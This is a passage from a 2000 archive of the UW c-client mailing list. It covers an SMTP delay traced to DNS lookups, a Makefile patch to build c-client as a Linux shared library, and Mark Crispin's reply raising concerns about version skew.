Microsoft MimeOLE V5.00.2014.211 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The name server resides on the same server as the IMAP and indeed SMTP server (small site!). I've simulated an empty name server cache by stopping named and restarting, then using mtest to send a message (with Debug protocol on). I saw an 8 second delay from the "[Trying IP address ...]" before the "220 server ESMTP Sendmail" line. Running it again, there was no delay at all. Which I guess proves the point. In this kind of setup where the all the servers are on the same physical box, the "first run" delay should always be the same? Or am I missing something here on my understanding of DNS? Thanks --mte -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu] On Behalf Of Rudi van Houten Sent: 13 September 2000 23:38 To: mtelvers@tunbury.demon.co.uk Cc: c-client@u.washington.edu Subject: Re: Time to send a message via SMTP At 23:29 +0100 13/9/00, Mark Elvers wrote: >I have an intermittent problem using the c-client library which I would >appreciate some suggestions on. I'm sure it's not a problem with the >library, but I need understand what the library is doing at a particular >point to find the cause of the problem. Previously, I've been using IMAP >4.7, and more recently IMAP 2000 (rel cand 6) > >The problem can easily be shown in mtest by sending a simple "Hello World" >email, where I see a 40-50 second delay following the > >[Trying IP address [x.x.x.x]] > >and before the > >[Ok] > >prompt; at other times the exact same sequence is completed within 1-2 >seconds. You don't give specific addresses, or even protocol logs. So I am wildly guessing: Is the contacted SMTP server trying to resolve YOUR address?? The first time that will take some time (minutes sometimes), whithin the time the records are hold in the DNS cache response will be instantly. After timeout of the record waiting will start anew. -- Rudi van Houten >>> ;-) Fantasie is de mens gegeven als vergoeding <<< wiskunde k.512 >>> voor wat hij niet is, en gevoel voor humor <<< Tel. 1418 >>> om hem te troosten met wat hij is. <<< From pinedev@shivax2.cac.washington.edu Mon Sep 18 08:42:46 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Sep 2000 08:42:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA06395 for ; Mon, 18 Sep 2000 08:42:44 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA29969; Mon, 18 Sep 2000 08:42:42 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA22265; Mon, 18 Sep 2000 08:41:21 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA174668 for ; Mon, 18 Sep 2000 08:39:39 -0700 Received: from cancerous.braincells.com (root@braincells.com [165.254.18.21]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA10806 for ; Mon, 18 Sep 2000 08:39:18 -0700 Received: from cancerous.braincells.com (jaldhar@cancerous.braincells.com [165.254.18.21]) by cancerous.braincells.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA04142 for ; Mon, 18 Sep 2000 12:41:03 -0400 Message-Id: Date: Mon, 18 Sep 2000 12:41:00 -0400 (EDT) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: c-client@u.washington.edu Subject: patch for c-client as shared lib on Linux In-Reply-To: <002001c01e2b$47d98a80$0617dec2@demon.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: jaldhar@cancerous.braincells.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is something which the Debian GNU/Linux package of imap has had for a while and I've been meaning to contribute. The patch is against IMAP-2000 RC6. The benefits of making c-client a shared lib are memory savings (particularly if you have many concurrent imapd processes) and it makes for easier updates. In Debian the roxen-imap, imp, mod_php and pine packages use the shared c-client as well as imapd, and ipop[23]d. So if a fix appears in c-client, they all get updated in fell swoop. It works by creating a new build target, lnps. Use it as you would any other build target. If you are building imap-utils too, you're going to have to modify each programs Makefile in the same manner as mtest. Although this patch is only for Linux, it should be really easy to adapt for other systems that use shared libraries. %<----------------CUT HERE-----------------------------------%< --- uw-imap-2000.orig/src/imapd/Makefile +++ uw-imap-2000/src/imapd/Makefile @@ -34,17 +34,19 @@ ALERT=/etc/imapd.alert USERALERT=.imapalert ANO=/etc/anonymous.newsgroups +CCLIENTLIB = $C/`cat $C/$ARCHIVENAME` SHELL= /bin/sh # Get local definitions from c-client directory C = ../c-client -CCLIENTLIB = $C/c-client.a +CCLIENTLIB = $C/`cat $C/$ARCHIVENAME` + CC = `cat $C/CCTYPE` CFLAGS = -I$C `cat $C/CFLAGS` -DANOFILE=\"$(ANO)\" \ -DALERTFILE=\"$(ALERT)\" -DUSERALERTFILE=\"$(USERALERT)\" -LDFLAGS = $(CCLIENTLIB) `cat $C/LDFLAGS` +LDFLAGS = `cat $C/LDFLAGS` all: imapd --- uw-imap-2000.orig/src/ipopd/Makefile +++ uw-imap-2000/src/ipopd/Makefile @@ -32,14 +32,14 @@ C = ../c-client -CCLIENTLIB = $C/c-client.a +CCLIENTLIB = $C/`cat $C/$ARCHIVENAME` SHELL = /bin/sh # Get local definitions from c-client directory CC = `cat $C/CCTYPE` CFLAGS = -I$C `cat $C/CFLAGS` -LDFLAGS = $(CCLIENTLIB) `cat $C/LDFLAGS` +LDFLAGS = `cat $C/LDFLAGS` ipopd: ipop2d ipop3d --- uw-imap-2000.orig/src/osdep/unix/Makefile +++ uw-imap-2000/src/osdep/unix/Makefile @@ -138,7 +138,7 @@ SPOOLDIR=/var/spool \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g -Dunix=1 -D_BSD" \ - BASELDFLAGS="-lbsd" + BASELDFLAGS="../c-client/c-client.a -lbsd" a41: # AIX 4.1 for RS/6000 $(BUILD) `cat EXTRASPECIALS` OS=$@ \ @@ -146,7 +146,7 @@ SPOOLDIR=/var/spool \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g -Dunix=1 -D_BSD" \ - BASELDFLAGS="-lbsd -ls" + BASELDFLAGS="../c-client/c-client.a -lbsd -ls" aix: # AIX/370 @echo You are building for AIX on an S/370 class machine @@ -154,12 +154,13 @@ $(BUILD) `cat EXTRASPECIALS` OS=$@ \ CRXTYPE=nfs \ BASECFLAGS="-g" \ - BASELDFLAGS="-lbsd" + BASELDFLAGS="../c-client/c-client.a -lbsd" aos: # AOS for RT $(BUILD) `cat EXTRASPECIALS` OS=$@ \ CRXTYPE=nfs \ BASECFLAGS="-g -Dconst=" + BASELDFLAGS="../c-client/c-client.a" art: # AIX 2.2.1 for RT $(BUILD) `cat EXTRASPECIALS` OS=$@ \ @@ -168,6 +169,7 @@ ACTIVEFILE=/usr/local/news/control/active \ RSHPATH=/bin/rsh \ BASECFLAGS="-g -Dconst= -Dvoid=char" \ + BASELDFLAGS="../c-client/c-client.a" \ RANLIB=true asv: # Altos SVR4 @@ -176,7 +178,7 @@ ACTIVEFILE=/usr/spool/news/active \ RSHPATH=/usr/bin/rcmd \ BASECFLAGS="-Dconst= -DSIGSTOP=SIGKILL" \ - BASELDFLAGS="-lsocket -lrpc -lgen -lcrypt -lxenix" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lrpc -lgen -lcrypt -lxenix" \ RANLIB=true aux: # A/UX @@ -192,6 +194,7 @@ SPOOLDIR=/var NEWSSPOOL=/var/news/spool \ ACTIVEFILE=/var/news/etc/active \ RSHPATH=/usr/bin/rsh \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g -O2 -pipe" CC=shlicc bsd: # BSD UNIX @@ -206,7 +209,7 @@ ACTIVEFILE=/usr/local/news/lib/active \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g -O -pipe" \ - BASELDFLAGS="-lcrypt" + BASELDFLAGS="../c-client/c-client.a -lcrypt" bsi: # BSD/i386 $(BUILD) `cat EXTRASPECIALS` OS=$@ \ @@ -214,6 +217,7 @@ SPOOLDIR=/var NEWSSPOOL=/var/news/spool \ ACTIVEFILE=/var/news/etc/active \ RSHPATH=/usr/bin/rsh \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g -O2 -pipe" bso: # OpenBSD @@ -222,11 +226,13 @@ SPOOLDIR=/var \ ACTIVEFILE=/usr/local/news/lib/active \ RSHPATH=/usr/bin/rsh \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-O2 -pipe" cvx: # Convex $(BUILD) `cat EXTRASPECIALS` OS=$@ \ CRXTYPE=nfs \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-O -ext -Dconst=" d-g: # Data General DG/UX @@ -236,7 +242,7 @@ ACTIVEFILE=/local/news/active \ RSHPATH=/usr/bin/remsh \ BASECFLAGS="-g -Dconst=" \ - BASELDFLAGS="-lnsl -lsocket" \ + BASELDFLAGS="../c-client/c-client.a -lnsl -lsocket" \ RANLIB=true d54: # Data General DG/UX 5.4 @@ -246,7 +252,7 @@ ACTIVEFILE=/local/news/active \ RSHPATH=/usr/bin/remsh \ BASECFLAGS="-g -Dconst=" \ - BASELDFLAGS="-lnsl -lsocket" \ + BASELDFLAGS="../c-client/c-client.a -lnsl -lsocket" \ RANLIB=true dpx: # Bull DPX/2 @@ -254,7 +260,7 @@ SIGTYPE=sv4 CHECKPW=sv4 LOGINPW=sv4 \ RSHPATH=/usr/bin/remsh \ BASECFLAGS="-Dconst= -DSYSTEM5 -DSHORT_IDENT" \ - BASELDFLAGS="-linet" \ + BASELDFLAGS="../c-client/c-client.a -linet" \ RANLIB=true LN=ln drs: # ICL DRS/NX @@ -264,18 +270,20 @@ ACTIVEFILE=/var/lib/news/active \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-O" \ - BASELDFLAGS="-lsocket -lgen" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lgen" \ RANLIB=true do4: # Apollo Domain/OS sr10.4 $(BUILD) `cat EXTRASPECIALS` OS=$@ \ CRXTYPE=nfs \ BASECFLAGS="-A systype,bsd4.3 -D_APOLLO_SOURCE" \ + BASELDFLAGS="../c-client/c-client.a" \ RANLIB=true dyn: # Dynix $(BUILD) `cat EXTRASPECIALS` OS=$@ \ CRXTYPE=nfs \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g -Dconst=" epx: # EP/IX @@ -285,7 +293,7 @@ ACTIVEFILE=/usr/share/news/active \ RSHPATH=/usr/net/rsh \ BASECFLAGS="-g -systype svr4" \ - BASELDFLAGS="-lsocket -lnsl -lgen" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lnsl -lgen" \ RANLIB=true gas: # GCC Altos SVR4 @@ -294,7 +302,7 @@ ACTIVEFILE=/usr/spool/news/active \ RSHPATH=/usr/bin/rcmd \ BASECFLAGS="-g -O -DALTOS_SYSTEM_V -DSIGSTOP=SIGKILL" \ - BASELDFLAGS="-lsocket -lrpc -lgen -lcrypt -lxenix" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lrpc -lgen -lcrypt -lxenix" \ RANLIB=true CC=gcc gh9: # GCC HP-UX9.x @@ -303,6 +311,7 @@ MAILSPOOL=/usr/mail \ RSHPATH=/usr/bin/remsh \ BASECFLAGS="-g -O2" \ + BASELDFLAGS="../c-client/c-client.a" \ RANLIB=true CC=gcc ghp: # GCC HP-UX @@ -312,6 +321,7 @@ ACTIVEFILE=/var/news/active \ RSHPATH=/usr/bin/remsh \ BASECFLAGS="-g -O2" \ + BASELDFLAGS="../c-client/c-client.a" \ RANLIB=true CC=gcc gs5: # GCC 2.7.1 (95q4) SCO Open Server 5.0.x @@ -322,7 +332,7 @@ ACTIVEFILE=/var/lib/news/active \ RSHPATH=/usr/bin/rcmd \ BASECFLAGS="-O3 -belf -I/usr/include -L/lib" \ - BASELDFLAGS="-lsocket -lcrypt -lprot -lx -ltinfo -lm" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lcrypt -lprot -lx -ltinfo -lm" \ RANLIB=true CC=gcc # Is the bizarre MAKEFLAGS= needed here? @@ -333,6 +343,7 @@ MAILSPOOL=/usr/mail \ RSHPATH=/usr/bsd/rsh \ BASECFLAGS="-g -O2" \ + BASELDFLAGS="../c-client/c-client.a" \ RANLIB=true CC=gcc gso: # GCC Solaris @@ -342,21 +353,21 @@ ACTIVEFILE=/usr/share/news/active \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g -O2" \ - BASELDFLAGS="-lsocket -lnsl -lgen" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lnsl -lgen" \ RANLIB=true CC=gcc gsu: # GCC SUN-OS $(BUILD) `cat EXTRASPECIALS` OS=sun \ CRXTYPE=nfs \ BASECFLAGS="-g -O2" \ - BASELDFLAGS="-ldl" \ + BASELDFLAGS="../c-client/c-client.a -ldl" \ CC=gcc gul: # GCC Ultrix $(BUILD) `cat EXTRASPECIALS` OS=ult \ SIGTYPE=psx CHECKPW=ult CRXTYPE=nfs \ BASECFLAGS="-g -O" \ - BASELDFLAGS="-lauth -lc" \ + BASELDFLAGS="../c-client/c-client.a -lauth -lc" \ CC=gcc hpp: # HP-UX 9.x @@ -365,7 +376,7 @@ MAILSPOOL=/usr/mail \ RSHPATH=/usr/bin/remsh \ BASECFLAGS="-g -Aa -D_HPUX_SOURCE" \ - BASELDFLAGS="-lnet -lV3" \ + BASELDFLAGS="../c-client/c-client.a -lnet -lV3" \ RANLIB=true hpx: # HP-UX 10.x @@ -375,7 +386,7 @@ ACTIVEFILE=/var/news/active \ RSHPATH=/usr/bin/remsh \ BASECFLAGS="-g -Ae" \ - BASELDFLAGS="-lnet -lV3" \ + BASELDFLAGS="../c-client/c-client.a -lnet -lV3" \ RANLIB=true isc: # Interactive @@ -384,7 +395,7 @@ SPOOLDIR=/var/spool MAILSPOOL=/var/mail \ ACTIVEFILE=/var/spool/news/active \ BASECFLAGS="-Xp -D_SYSV3" \ - BASELDFLAGS="-linet -lnsl_s -lgen -lx -lsec -liberty" \ + BASELDFLAGS="../c-client/c-client.a -linet -lnsl_s -lgen -lx -lsec -liberty" \ RANLIB=true lnp: # Linux Pluggable Authentication modules @@ -393,8 +404,20 @@ SPOOLDIR=/var/spool \ ACTIVEFILE=/var/lib/news/active \ RSHPATH=/usr/bin/rsh \ - BASECFLAGS="-g -fno-omit-frame-pointer -O6" \ - BASELDFLAGS="-lpam -ldl" + BASECFLAGS="-g -fno-omit-frame-pointer -O2" \ + BASELDFLAGS="../c-client/c-client.a -lpam -ldl" + +lnps: # Linux Pluggable Authentication modules (c-client as shared lib) + $(BUILD) `cat EXTRASPECIALS` OS=lnx \ + SIGTYPE=psx CHECKPW=pam CRXTYPE=nfs \ + SPOOLDIR=/var/spool \ + ACTIVEFILE=/var/lib/news/active \ + RSHPATH=/usr/bin/rsh \ + BASECFLAGS="-fPIC -g -fno-omit-frame-pointer -O2 -DNFSKLUDGE" \ + ARCHIVE="libc-client.so" \ + BASELDFLAGS="-L../c-client -lc-client -lpam -ldl -lc" \ + ARRC="ld -shared -soname libc-client.so.$(VERSION) -lpam -ldl -lc -o" \ + RANLIB=true lnx: # Linux non-shadow passwords @echo You are building for traditional Linux *without* shadow @@ -406,6 +429,7 @@ SPOOLDIR=/var/spool \ ACTIVEFILE=/var/lib/news/active \ RSHPATH=/usr/bin/rsh \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g -O" lyn: # LynxOS @@ -419,6 +443,7 @@ mct: # MachTen - CRXTYPE=nfs doesn't work (at least not on 2.2) $(BUILD) `cat EXTRASPECIALS` OS=$@ \ SPOOLDIR=/var/spool \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g -O -pipe" mnt: # Mint @@ -427,6 +452,7 @@ SPOOLDIR=/var/spool \ ACTIVEFILE=/var/lib/news/active \ RSHPATH=/usr/bin/rsh \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g -O" neb: # NetBSD @@ -436,7 +462,7 @@ ACTIVEFILE=/var/db/news/active \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g -O -pipe" \ - BASELDFLAGS="-lcrypt" + BASELDFLAGS="../c-client/c-client.a -lcrypt" nec: # NEC UX $(BUILD) `cat EXTRASPECIALS` OS=sv4 \ @@ -445,17 +471,19 @@ ACTIVEFILE=/var/news/lib/active \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g -Kopt=2 -KOlimit=2000" \ - BASELDFLAGS="-lsocket -lnsl -lgen" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lnsl -lgen" \ RANLIB=true CC=/usr/abiccs/bin/cc nxt: # NEXTSTEP $(BUILD) `cat EXTRASPECIALS` OS=$@ \ CRXTYPE=nfs \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g -O -pipe" nx3: # NEXTSTEP 3.0 single threaded $(BUILD) `cat EXTRASPECIALS` OS=nxt \ CRXTYPE=nfs \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g -O -pipe -Wall" echo "void malloc_singlethreaded (void);" >> linkage.h echo " malloc_singlethreaded ();" >> linkage.c @@ -464,6 +492,7 @@ $(BUILD) `cat EXTRASPECIALS` OS=$@ \ SIGTYPE=psx CRXTYPE=nfs \ SPOOLDIR=/var/spool \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g3 -O2 -Olimit 1500" # Note: sia_become_user() used by LOGINPW=os4 doesn't seem to work right. The @@ -473,6 +502,7 @@ $(BUILD) `cat EXTRASPECIALS` OS=$@ \ SIGTYPE=psx CHECKPW=os4 LOGINPW=os4 CRXTYPE=nfs \ SPOOLDIR=/var/spool \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g3 -std0 -O2" ptx: # PTX @@ -481,12 +511,13 @@ MAILSPOOL=/usr/mail \ RSHPATH=/usr/bin/resh \ BASECFLAGS="-Wc,-O3 -Wc,-seq -Dprivate=PRIVATE" \ - BASELDFLAGS="-lseq -lsec -lsocket -linet -lnsl -lgen" \ + BASELDFLAGS="../c-client/c-client.a -lseq -lsec -lsocket -linet -lnsl -lgen" \ RANLIB=true pyr: # Pyramid $(BUILD) `cat EXTRASPECIALS` OS=$@ \ CRXTYPE=nfs \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g -Dconst=" qnx: # QNX @@ -494,11 +525,12 @@ CHECKPW=psx LOGINPW=old \ RSHPATH=/usr/ucb/rsh \ BASECFLAGS="-Otax -g -Dunix=1 -D_POSIX_SOURCE" \ - BASELDFLAGS="-g -N128k -llogin -lsocket -lunix" + BASELDFLAGS="../c-client/c-client.a -g -N128k -llogin -lsocket -lunix" s40: # SUN-OS 4.0 $(BUILD) `cat EXTRASPECIALS` OS=$@ \ CRXTYPE=nfs \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g -Dconst=" sc5: # SCO Open Server 5.0 @@ -509,7 +541,7 @@ ACTIVEFILE=/var/lib/news/active \ RSHPATH=/usr/bin/rcmd \ BASECFLAGS="-O3 -s" \ - BASELDFLAGS="-lsocket -lcrypt -lprot -lx -ltinfo -lm" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lcrypt -lprot -lx -ltinfo -lm" \ RANLIB=true sco: # Santa Cruz Operation @@ -518,7 +550,7 @@ CREATEPROTO=mmdfproto EMPTYPROTO=mmdfproto \ RSHPATH=/usr/bin/rcmd \ BASECFLAGS="-O3" \ - BASELDFLAGS="-lsocket -lprot -lcrypt_i -lx -los" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lprot -lcrypt_i -lx -los" \ RANLIB=true LN=ln # Notes: @@ -531,6 +563,7 @@ SIGTYPE=sv4 CRXTYPE=nfs \ MAILSPOOL=/usr/mail \ RSHPATH=/usr/bsd/rsh \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g3 -O2 -Olimit 8192" \ RANLIB=true @@ -539,6 +572,7 @@ SIGTYPE=sv4 CRXTYPE=nfs \ MAILSPOOL=/usr/mail \ RSHPATH=/usr/bsd/rsh \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g3 -O2 -woff 1048,1110,1116" \ RANLIB=true @@ -551,7 +585,7 @@ ACTIVEFILE=/var/news/active \ RSHPATH=/usr/bin/remsh \ BASECFLAGS="-g -Ae" \ - BASELDFLAGS="-lnet -lV3 -lsec" \ + BASELDFLAGS="../c-client/c-client.a -lnet -lV3 -lsec" \ RANLIB=true slx: # Secure Linux @@ -564,7 +598,7 @@ ACTIVEFILE=/var/lib/news/active \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g -fno-omit-frame-pointer -O6" \ - BASELDFLAGS="-lcrypt" + BASELDFLAGS="../c-client/c-client.a -lcrypt" sl4: # Secure Linux using libc4 @echo You are building for libc4 versions of Secure Linux @@ -576,7 +610,7 @@ ACTIVEFILE=/var/lib/news/active \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g -fno-omit-frame-pointer -O6" \ - BASELDFLAGS="-lshadow" + BASELDFLAGS="../c-client/c-client.a -lshadow" sl5: # Secure Linux using libc5 @echo You are building for libc5 versions of Secure Linux @@ -587,6 +621,7 @@ SPOOLDIR=/var/spool \ ACTIVEFILE=/var/lib/news/active \ RSHPATH=/usr/bin/rsh \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-g -fno-omit-frame-pointer -O6" snx: # Siemens Nixdorf SINIX and Reliant UNIX @@ -596,7 +631,7 @@ ACTIVEFILE=/usr/share/news/active \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g -D_SYS_CLOCK_H -Dconst=" \ - BASELDFLAGS="-lsocket -lnsl -lgen" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lnsl -lgen" \ RANLIB=true # Note: It is a long and disgusting story about why cc is set to ucbcc. You @@ -641,26 +676,26 @@ ACTIVEFILE=/usr/share/news/active \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g -O2" \ - BASELDFLAGS="-lsocket -lnsl -lgen" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lnsl -lgen" \ RANLIB=true CC=ucbcc sos: # Secure OSF/1 $(BUILD) `cat EXTRASPECIALS` OS=$@ \ SIGTYPE=psx CHECKPW=sec LOGINPW=sec CRXTYPE=nfs \ BASECFLAGS="-g3 -O2 -Olimit 1500" \ - BASELDFLAGS="-lsecurity -laud" + BASELDFLAGS="../c-client/c-client.a -lsecurity -laud" ssn: # Secure SUN-OS $(BUILD) `cat EXTRASPECIALS` OS=sun \ CHECKPW=ssn CRXTYPE=nfs \ BASECFLAGS="-g -Dconst=" \ - BASELDFLAGS="-ldl" + BASELDFLAGS="../c-client/c-client.a -ldl" sun: # SUN-OS $(BUILD) `cat EXTRASPECIALS` OS=$@ \ CRXTYPE=nfs \ BASECFLAGS="-g -Dconst=" \ - BASELDFLAGS="-ldl" + BASELDFLAGS="../c-client/c-client.a -ldl" sv2: # SVR2 @echo You are being *very* optimistic! @@ -669,7 +704,7 @@ MAILSPOOL=/usr/mail \ RSHPATH=/usr/bin/remsh \ BASECFLAGS="-Dconst= -DSYSTEM5 -DSHORT_IDENT -I/usr/ethernet/include" \ - BASELDFLAGS="-lnet" \ + BASELDFLAGS="../c-client/c-client.a -lnet" \ RANLIB=true LN=ln sv4: # SVR4 @@ -679,14 +714,14 @@ ACTIVEFILE=/usr/share/news/active \ RSHPATH=/usr/bin/resh \ BASECFLAGS="-g -Dconst=" \ - BASELDFLAGS="-lsocket -lnsl -lgen" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lnsl -lgen" \ RANLIB=true ult: # Ultrix $(BUILD) `cat EXTRASPECIALS` OS=$@ \ SIGTYPE=psx CHECKPW=ult CRXTYPE=nfs \ BASECFLAGS="-g3 -O2 -Olimit 1500 -Dconst=" \ - BASELDFLAGS="-lauth -lc" + BASELDFLAGS="../c-client/c-client.a -lauth -lc" uw2: # UnixWare SVR4.2 $(BUILD) `cat EXTRASPECIALS` OS=sv4 \ @@ -695,18 +730,19 @@ ACTIVEFILE=/var/news/lib/active \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g" \ - BASELDFLAGS="-lsocket -lnsl -lgen" \ + BASELDFLAGS="../c-client/c-client.a -lsocket -lnsl -lgen" \ RANLIB=true vul: # VAX Ultrix $(BUILD) `cat EXTRASPECIALS` OS=ult \ SIGTYPE=psx CHECKPW=ult CRXTYPE=nfs \ BASECFLAGS="-O2 -Dconst=" \ - BASELDFLAGS="-lauth -lc" + BASELDFLAGS="../c-client/c-client.a -lauth -lc" vu2: # VAX Ultrix 2.3, etc. $(BUILD) `cat EXTRASPECIALS` OS=$@ \ CRXTYPE=nfs \ + BASELDFLAGS="../c-client/c-client.a" \ BASECFLAGS="-O2 -Dconst= -Dvoid=char" @@ -724,7 +760,7 @@ # Cleanup clean: - sh -c '$(RM) auths.c crexcl.c flockbsd.c linkage.[ch] siglocal.c osdep*.[ch] *.o ARCHIVE *FLAGS *TYPE $(ARCHIVE) || true' + sh -c '$(RM) auths.c crexcl.c flockbsd.c linkage.[ch] siglocal.c osdep*.[ch] *.o ARCHIVE ARCHIVENAME *FLAGS *TYPE $(ARCHIVE) || true' # Dependencies @@ -814,6 +851,7 @@ -DRSHPATH=\"$(RSHPATH)\" -DLOCKPGM=\"$(LOCKPGM)\" > OSCFLAGS echo $(BASELDFLAGS) $(EXTRALDFLAGS) > LDFLAGS echo "$(ARRC) $(ARCHIVE) $(BINARIES);$(RANLIB) $(ARCHIVE)" > ARCHIVE + echo $(ARCHIVE) > ARCHIVENAME ./drivers $(EXTRADRIVERS) $(DEFAULTDRIVERS) dummy ./mkauths $(EXTRAAUTHENTICATORS) $(DEFAULTAUTHENTICATORS) $(LN) os_$(OS).h osdep.h --- uw-imap-2000.orig/src/mtest/Makefile +++ uw-imap-2000/src/mtest/Makefile @@ -32,20 +32,20 @@ C = ../c-client -CCLIENTLIB = $C/c-client.a +CCLIENTLIB = $C/`cat $C/$ARCHIVENAME` SHELL = /bin/sh # Get local definitions from c-client directory CC = `cat $C/CCTYPE` CFLAGS = -I$C `cat $C/CFLAGS` -LDFLAGS = $(CCLIENTLIB) `cat $C/LDFLAGS` +LDFLAGS = `cat $C/LDFLAGS` all: mtest mtest: $(CCLIENTLIB) mtest.o $(CC) $(CFLAGS) -o mtest mtest.o $(LDFLAGS) - + mtest.o: $C/mail.h $C/misc.h $C/osdep.h $C/rfc822.h $C/smtp.h $C/nntp.h $(CCLIENTLIB): -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 18 11:42:13 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Sep 2000 11:42:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA07047 for ; Mon, 18 Sep 2000 11:42:11 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA04315; Mon, 18 Sep 2000 11:42:09 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA02380; Mon, 18 Sep 2000 11:40:53 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA42750 for ; Mon, 18 Sep 2000 11:37:38 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (noodle@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA13400 for ; Mon, 18 Sep 2000 11:37:38 -0700 Message-Id: Date: Mon, 18 Sep 2000 10:27:26 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Jaldhar H. Vyas" Cc: c-client@u.washington.edu Subject: re: patch for c-client as shared lib on Linux In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you for your suggested patch for shared libraries. For support reasons, I have traditionally been hesitant to adopt shared libraries. The first problem is having some systems built with shared libraries and some systems without; if this is done, it should be comprehensive for all systems which support shared libraries. The second problem is much more serious. We have had in the past weird bugs with shared libraries caused by a version skew. We have at time wasted many hours chasing after a bug, only to find that without telling us the site made c-client, pico, etc. a shared library and that the program was picking up the wrong version of the shared library. The API between c-client and its callers is subject to change; there has to be an effective method to protect against version skews, which means versioning in the shared library filename. It may sound extreme to have a separate libc- client.so.2000.RC5, libc-client.so.2000.RC6, etc. but I don't see how it can be safely avoided. I shudder to think about what might have to be done with betas... The bottom line is that although shared libraries are something that we eventually do want to do, it's not something we want to get into yet. I am very concerned with the following statement which you have made: > The benefits of making c-client a shared lib are memory savings > (particularly if you have many concurrent imapd processes) This statement implies that Linux does not share code pages between multiple instances of the same application. I can not believe that this is true. The guys who work on Linux are too smart to make such 